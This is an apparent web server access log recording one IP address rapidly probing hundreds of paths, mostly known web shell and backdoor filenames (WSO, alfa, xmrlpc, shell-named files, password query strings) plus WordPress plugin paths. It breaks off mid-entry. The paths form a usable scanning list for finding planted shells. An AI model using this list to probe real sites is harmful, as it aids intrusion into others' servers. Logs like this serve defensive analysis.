40.69.36.253 - - [16/Apr/2025:13:08:58 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:59 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:00 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:00 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:01 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:01 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:02 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:03 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:04 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:05 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:05 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:06 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:06 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:07 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:08 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:08 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:09 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:09 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:10 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:11 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:11 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:12 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:13 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:14 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:14 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:15 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:16 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:16 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:17 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:17 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:18 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:19 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:19 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:20 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:21 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:21 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:22 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:23 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:24 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:25 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:25 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:26 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:27 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:27 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:28 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:29 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:30 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:30 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:31 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:32 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:33 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:33 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:34 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:35 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:36 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:36 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:37 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:38 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:38 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:39 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:40 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:40 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:41 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:42 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:42 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:43 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:43 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:44 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:44 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:45 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:46 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:46 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:47 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:47 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:48 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:49 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:49 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:50 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:50 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:51 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:52 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:52 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:53 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:54 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:54 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:55 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:55 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:56 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:57 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:57 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:58 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:59 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:09:59 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:00 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:00 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:01 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:02 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:02 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:03 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:04 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:05 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:06 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:07 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:08 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:10 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:11 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:13 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:14 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:15 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:16 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:17 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:17 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:18 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:19 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:20 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:21 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:23 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:24 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:24 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:25 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:27 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:27 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:29 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:30 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:31 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:32 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:32 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:33 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:34 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:35 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:36 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:36 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:37 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:38 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:38 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:39 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:40 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:40 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:41 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:41 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:42 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:43 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:43 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:44 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:44 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:45 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:45 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:46 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:47 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:47 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:48 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:48 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:49 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:50 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:50 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:51 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:51 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:52 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:53 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:53 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:54 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:54 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:55 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:55 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:56 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:57 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:57 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:58 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:59 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:10:59 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:00 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:00 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:01 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:02 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:02 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:03 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:04 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:04 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:05 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:06 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:07 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:08 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:09 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:09 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:11 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:11 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:12 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:13 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:13 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:14 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:15 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:16 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:16 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:17 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:19 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:19 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:20 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:21 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:22 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:23 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:23 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:24 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:25 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:26 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:27 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:28 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:28 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:29 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:30 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:31 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:32 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:33 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:34 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:34 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:35 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:36 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:36 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:37 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:38 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:38 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:39 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:40 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:40 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:41 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:41 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:42 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:42 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:43 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:44 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:45 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:45 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:11:46 -0400] "GET /classwithtostring.php 